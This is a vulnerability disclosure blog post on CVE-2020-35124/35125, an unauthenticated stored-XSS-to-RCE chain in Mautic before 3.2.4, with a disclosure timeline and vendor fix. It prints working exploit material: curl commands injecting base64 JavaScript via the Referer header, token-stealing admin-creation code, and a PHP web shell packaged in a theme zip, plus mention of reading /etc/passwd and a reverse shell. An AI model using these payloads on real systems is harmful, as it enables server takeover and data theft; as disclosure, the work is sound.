Unauthenticated XSS to Remote Code Execution Chain in Mautic < 3.2.4

by | Jan 24, 2021 | Disclosures


Mautic is widely used open source software for marketing automation. While researching the application and its source code on Github, we discovered an attack chain whereby an unauthenticated attacker could gain remote code execution privileges on the server hosting Mautic by abusing a stored XSS vulnerability. The issues raised in this post, CVE-2020-35124 and CVE-2020-35125, have been fixed in Mautic 3.2.4.


Critical. Unauthenticated attackers could gain admin privileges leading to remote code execution on the server hosting Mautic.

As of this writing, there are about 6K instances of Mautic that can be found with the Shodan dork “html: Mautic”.


Update to the latest version of Mautic.


As a marketing automation platform, Mautic allows its users to collect leads and track their engagement with different types of content. For the sake of this post, there are two types of content that are of interest: assets and forms. An “asset” is simply a file that a lead can download. A lead is given a link to download an asset, and when the lead clicks on it, the asset is downloaded directly from the Mautic application. A form is something that a Mautic user can set up to be hosted by Mautic or a third-party site. When a lead fills out the form and submits it, the form is submitted back via an API call to the Mautic application.

This is interesting because it means the attack surface for Mautic is broader than a typical web application – you not only have to consider users in Mautic who authenticate normally to the web application but also unauthenticated leads that interact with the web application via external content.

As we were looking at the Mautic interface, we looked for data that could be influenced by leads, and one of the things that stood out is that Referrer information is surfaced in a number of places. A “referrer” is the third-party site a lead is coming from when they download an asset or submit a form. Mautic tracks this by capturing and storing the HTTP Referer header whenever a lead clicks on a download link or submits a form. For instance, the “Downloads of all Assets” report page shows the “Top Referrers”:

While browsers automatically set the HTTP Referer header based on the web site someone is on, there is nothing preventing someone from manipulating this header. It was discovered that a malicious “lead” (i.e. an unauthenticated attacker) could supply an HTTP Referer header with an XSS payload, which would then be stored by Mautic. If a legitimate user in Mautic then viewed a page where referrer data is surfaced, the XSS payload would fire, and the malicious “lead” could execute arbitrary Javascript in the context of the Mautic user.

Here’s an example of a simple XSS payload sent against a public asset download link.

sh-3.2# curl -o test.pdf -v '' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H $'Referer: http://<img/src="doesnotexist.jpg"onerror="eval(window.atob(\'YWxlcnQoJ3hzcycp\'))">'

This base64-encoded payload inside the eval decodes to "alert('xss')".

When a legitimate Mautic user accesses the “Download of All Assets” page, he/she would see this:

For a Mautic form, it was found that the mautic[return] form variable contained referrer information and was vulnerable to XSS payload injection, in much the same way as the HTTP Referer header.

End-to-end Exploitation

Getting a window with “xss” to popup is ok but we wanted to take it it further.

Identifying Assets and Forms

Starting from the beginning, the first thing an attacker looking at a Mautic site needs to be able to do is identify forms and assets to target. This is straightforward to accomplish because forms and assets are identified by auto-incrementing integers. To identify a Mautic form or asset, an attacker simply has to sequentially enumerate forms and assets by an integer id to find one that is valid. This type of weakness is known as Insecure Direct Object Reference (IDOR). This is something which by itself is not a serious problem unless there are other application vulnerabilities present.

For Mautic assets specifically, the full download URL includes the asset’s “alias,” which is its short name. It was found however that if you ask Mautic for the asset id following only by a “:”, Mautic would automatically redirect to the full asset download URL, as can be seen in the Location header below. In this way an attacker can fully enumerate assets with no prior knowledge. Enumerating Mautic forms doesn’t require this extra step.

sh-3.2# curl -v
*   Trying
* Connected to ( port 80 (#0)
> GET /asset/1: HTTP/1.1
> Host:
> User-Agent: curl/7.64.1
> Accept: */*
< HTTP/1.1 301 Moved Permanently
< Date: Sat, 16 Jan 2021 18:11:30 GMT
< Server: Apache
< X-Powered-By: PHP/7.3.25
< X-Frame-Options: SAMEORIGIN
< Vary: Cookie
< Location: /asset/1:testpdf
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
< ... TRUNCATED ... >

Creating an Admin User

With an asset or form identified, an attacker can craft an XSS payload. We wanted to construct an XSS payload that would automatically create an admin user when a legitimate Mautic admin user was viewing the “Downloads of all Assets” report.

Creating an admin user in the Mautic interface is done on the “Users – New User” page, show below.

This page is protected by two tokens: an Ajax CSRF token and a user CSRF token. So the first step in the XSS payload is to fetch the “Users – New User” page and extract the CSRF tokens. The following bit of code does that:

function getTokens() {
    xhttp = new XMLHttpRequest();
    xhttp.open('GET', '/s/users/new', false)
    csrfToken = t.split('mauticAjaxCsrf')[1].split("'")[1].split("'")[0];
    userToken = t.split('name="user[_token]"')[1].split('value="')[1].split('"')[0];
    return [csrfToken, userToken]

The next step is to then create a user with admin privileges. This can be done as follows:

function createUser(tokens) {
    xcreate = new XMLHttpRequest();
    xcreate.open('POST', '/s/users/new', false);
    xcreate.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xcreate.setRequestHeader('X-CSRF-Token', tokens[0]);
    payload='user%5BfirstName%5D=Mautic-IT&user%5BlastName%5D=User&user%5Brole%5D=1&user%5Bposition%5D=&user%5Bsignature%5D=Best+regards%2C+%7CFROM_NAME%7C&user%5Busername%5D=mautic-it&user%5Bemail%5D=mautic-it%40example.com&user%5BplainPassword%5D%5Bpassword%5D=test123&user%5BplainPassword%5D%5Bconfirm%5D=test123&user%5Btimezone%5D=&user%5Blocale%5D=&user%5BisPublished%5D=1&user%5Bbuttons%5D%5Bsave%5D=&user%5B_token%5D=' + tokens[1];

The above code creates a user with username mautic-it with the password test123 and assigns it the admin role.

We wrapped this up into an XSS payload:

sh-3.2# curl -o test.pdf -v '' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H $'Referer: http://<img/src="doesnotexist.jpg"onerror="eval(window.atob(\'ZnVuY3Rpb24gZ2V0VG9rZW5zKCkgewogICAgeGh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgIHhodHRwLm9wZW4oJ0dFVCcsICcvcy91c2Vycy9uZXcnLCBmYWxzZSkKICAgIHhodHRwLnNlbmQoKTsKICAgIHQ9eGh0dHAucmVzcG9uc2VUZXh0OwogICAgY3NyZlRva2VuID0gdC5zcGxpdCgnbWF1dGljQWpheENzcmYnKVsxXS5zcGxpdCgiJyIpWzFdLnNwbGl0KCInIilbMF07CiAgICB1c2VyVG9rZW4gPSB0LnNwbGl0KCduYW1lPSJ1c2VyW190b2tlbl0iJylbMV0uc3BsaXQoJ3ZhbHVlPSInKVsxXS5zcGxpdCgnIicpWzBdOwogICAgcmV0dXJuIFtjc3JmVG9rZW4sIHVzZXJUb2tlbl0KfQpmdW5jdGlvbiBjcmVhdGVVc2VyKHRva2VucykgewogICAgeGNyZWF0ZSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgeGNyZWF0ZS5vcGVuKCdQT1NUJywgJy9zL3VzZXJzL25ldycsIGZhbHNlKTsKICAgIHhjcmVhdGUuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC10eXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOwogICAgeGNyZWF0ZS5zZXRSZXF1ZXN0SGVhZGVyKCdYLUNTUkYtVG9rZW4nLCB0b2tlbnNbMF0pOwogICAgcGF5bG9hZD0ndXNlciU1QmZpcnN0TmFtZSU1RD1NYXV0aWMtSVQmdXNlciU1Qmxhc3ROYW1lJTVEPVVzZXImdXNlciU1QnJvbGUlNUQ9MSZ1c2VyJTVCcG9zaXRpb24lNUQ9JnVzZXIlNUJzaWduYXR1cmUlNUQ9QmVzdCtyZWdhcmRzJTJDKyU3Q0ZST01fTkFNRSU3QyZ1c2VyJTVCdXNlcm5hbWUlNUQ9bWF1dGljLWl0JnVzZXIlNUJlbWFpbCU1RD1tYXV0aWMtaXQlNDBleGFtcGxlLmNvbSZ1c2VyJTVCcGxhaW5QYXNzd29yZCU1RCU1QnBhc3N3b3JkJTVEPXRlc3QxMjMmdXNlciU1QnBsYWluUGFzc3dvcmQlNUQlNUJjb25maXJtJTVEPXRlc3QxMjMmdXNlciU1QnRpbWV6b25lJTVEPSZ1c2VyJTVCbG9jYWxlJTVEPSZ1c2VyJTVCaXNQdWJsaXNoZWQlNUQ9MSZ1c2VyJTVCYnV0dG9ucyU1RCU1QnNhdmUlNUQ9JnVzZXIlNUJfdG9rZW4lNUQ9JyArIHRva2Vuc1sxXTsKICAgIHhjcmVhdGUuc2VuZChwYXlsb2FkKTsKfQpjcmVhdGVVc2VyKGdldFRva2VucygpKTs=\'))">'

The code is ugly but it works. (In practice an attacker would likely use a payload that connects to an attacker controlled site to retrieve commands to execute.) When a legitimate Mautic admin-level user views the “Top Referrers” report, the XSS payload fires and creates another admin user:

Remote Code Execution via a Custom Theme

Admin access to complex web applications often results in gaining remote code execution privileges on the server hosting the application. With Mautic, we found it was possible to get RCE by uploading a malicious custom theme. This is not a vulnerability per se but a feature of the application that can be abused by an attacker. This is a common attack vector in many CMS applications.

The Mautic documentation describes a method to create themes containing custom form fields. The description of the form field is given by a PHP file inside a theme zip file. This is a natural location to embed a web shell.

Mautic has several built-in themes. We modified the the built-in Cards theme located in Github here and added a file called date.html.php with a custom field called “Date” and a web shell:

echo shell_exec($_GET['cmd'].' 2>&1');
echo $view->render(
'field' => $field,
 'inForm' => (isset($inForm)) ? $inForm : false,
'type' => 'date',
'id' => $id,
'formId' => (isset($formId)) ? $formId : 0,
'formName' => (isset($formName)) ? $formName : '',

This was zipped into a file called bad-theme.zip with the following structure:

sh-3.2# unzip -l bad-theme.zip 
Archive: bad-theme.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      118  12-07-2020 23:10   config.json
        0  12-07-2020 21:46   html/
      263  12-07-2020 21:46   html/message.html.twig
      393  12-07-2020 21:46   html/base.html.twig
        0  12-07-2020 22:56   html/MauticFormBundle/
        0  12-07-2020 22:56   html/MauticFormBundle/Field/
      583  12-07-2020 22:56   html/MauticFormBundle/Field/date.html.php
        0  12-07-2020 21:46   html/MauticFormBundle/Builder/
     2071  12-07-2020 21:46   html/MauticFormBundle/Builder/style.html.twig
    51320  12-07-2020 21:46   html/email.html.twig
    44004  12-07-2020 21:46   thumbnail.png
        0  12-07-2020 21:46   assets/
     2269  12-07-2020 21:46   assets/logo_black.png
   141389  12-07-2020 21:46   assets/background_look.jpg
   115977  12-07-2020 21:46   assets/placeholder_coffee.jpg
   302632  12-07-2020 21:46   assets/placeholder_coffee.png
   105452  12-07-2020 21:46   assets/background_face.jpg
     1517  12-07-2020 21:46   assets/icon_social.png
        0  12-07-2020 21:46   assets/open-sans/
   101756  12-07-2020 21:46   assets/open-sans/OpenSans-SemiBold.WOFF
   221164  12-07-2020 21:46   assets/open-sans/OpenSans-SemiBold.ttf
    97828  12-07-2020 21:46   assets/open-sans/OpenSans-SemiBoldItalic.WOFF
   212760  12-07-2020 21:46   assets/open-sans/OpenSans-Italic.ttf
    97180  12-07-2020 21:46   assets/open-sans/OpenSans-Italic.WOFF
   212732  12-07-2020 21:46   assets/open-sans/OpenSans-SemiBoldItalic.ttf
    99416  12-07-2020 21:46   assets/open-sans/OpenSans-Regular.WOFF
   217276  12-07-2020 21:46   assets/open-sans/OpenSans-Regular.ttf
---------                     -------
  2028100                     27 files

To activate the theme, we first modified the Mautic theme configuration to allow PHP files to be uploaded.

Then we uploaded the theme zip file:

And enabled it:

To activate the web shell, we first created a form with our custom Date field, and went back in to edit it. The web shell is active on the /s/forms/edit/<form_id> page. Below we dump the contents of the /etc/passwd file on the Mautic server.

And upgrading to a reverse shell using a Python reverse shell:

From here, an attacker can do any number of things. A common target in cloud environments would be to enumerate cloud metadata URLs to pilfer access keys. In a hybrid cloud scenario, an attacker could pivot into a victim’s internal network if proper network segmentation controls aren’t in place.


  • Dec. 7, 2020: Vulnerability disclosed to vendor
  • Dec. 8, 2020: Vulnerability confirmed by vendor
  • Dec. 17, 2020: Vendor conveys patch timeline
  • Jan. 14, 2021: Patch released and public disclosure

Thanks to the Mautic security team for their prompt response and handling of the issues raised in this post.


How can NodeZero help you?

Let our experts walk you through a demonstration of NodeZero, so you can see how to put it to work for your company.